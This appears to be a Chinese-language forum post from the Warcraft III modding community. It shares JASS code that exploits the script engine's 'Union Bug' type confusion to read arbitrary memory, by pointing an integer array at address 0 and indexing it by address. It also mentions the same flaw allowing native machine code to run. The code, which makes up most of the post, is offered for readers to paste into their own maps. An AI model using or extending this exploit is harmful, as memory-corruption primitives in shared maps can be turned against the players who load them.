|
看来很多人对那个漏洞导致的内存读取很有兴趣~~甚至超过了执行2进制机器码这一功能~~于是我就发了这个~~
这个是头目仿造那个俄国人的itest写的~~精简了他许多代码~~我本来以为Win7 X64下弄这个东西可能有问题~~结果似乎还挺正常的~~
这个演示是用纯Jass实现的~~并没有Hook任何API或者挂载dll也没有用汇编~~
可以指定任何内存地址然后将其值读出~~当然并非所以内存都可读~~无权读取的自然读取不了~~
核心代码及注释:
[jass]
function ArrayHacker takes nothing returns nothing
local trigger t=CreateTrigger()
local integer udg_UnionInteger
local code udg_BreakOffCode=(function ToBeBreakOff)
set udg_UnionInteger=udg_UnionInteger+1 //Union Bug,将udg_BreakOffCode指向函数ToBeBreakOff(在common.j中定义)的后一位。
call TriggerAddAction(t, udg_BreakOffCode)
call TriggerExecute(t)
call DestroyTrigger(t)
endfunction
function AllReader_Init takes nothing returns nothing
set Offset= 0x2114D008 //Offiset 在Common.j中定义,用于控制Read[]的偏移,改变此值可以令Read[]指向内存中不同位置,而0x2114D008正好能使Read[]指向地址0
call ArrayHacker()
endfunction
function AllReader_Release takes nothing returns nothing
set Offset= 0x0 //恢复Read[]的指向的地址为正常位置,否则你将在地图退出后收到一个非法操作。
call ArrayHacker()
endfunction
function ReadMemoryByAddress takes integer addr returns integer
local integer index=addr/4 //将内存地址换算成Integer数组的索引
local integer MValue=0 //中介,用于保存读出的数据。因为在本函数结束后,Read[]数组指向的位置会还原。
call AllReader_Init() //这个函数用于将Read[]数组指向0地址位。
set MValue=Reader[index] //内存读取
call AllReader_Release() //这个函数用于将Read[]指向的地址位复原,否则你会在退出地图的时候非法操作
return MValue
endfunction
[/jass]
当然还得导入一个Common.j否则以上函数毫无意义~~见附件~~
第一个附件是演示地图,第二个附件是其中的common.j~~想要将这个功能引入你自己地图的话只要导入那个common.j然后将上面的那些函数复制到你自定义函数区就可以了。哦对了别忘记声明BreakOffCode和UnionInteger这两个用于实现Union Bug的全局变量~~
演示的用法是~~进入地图后输入任何一个内存地址(注意用10进制)~~地图上就会显示该地址所存储的值~~当然需要是有读取权限的地址~~否则就导致非法操作~~所以输入地址前请三思~~
补充个图片~~
|
|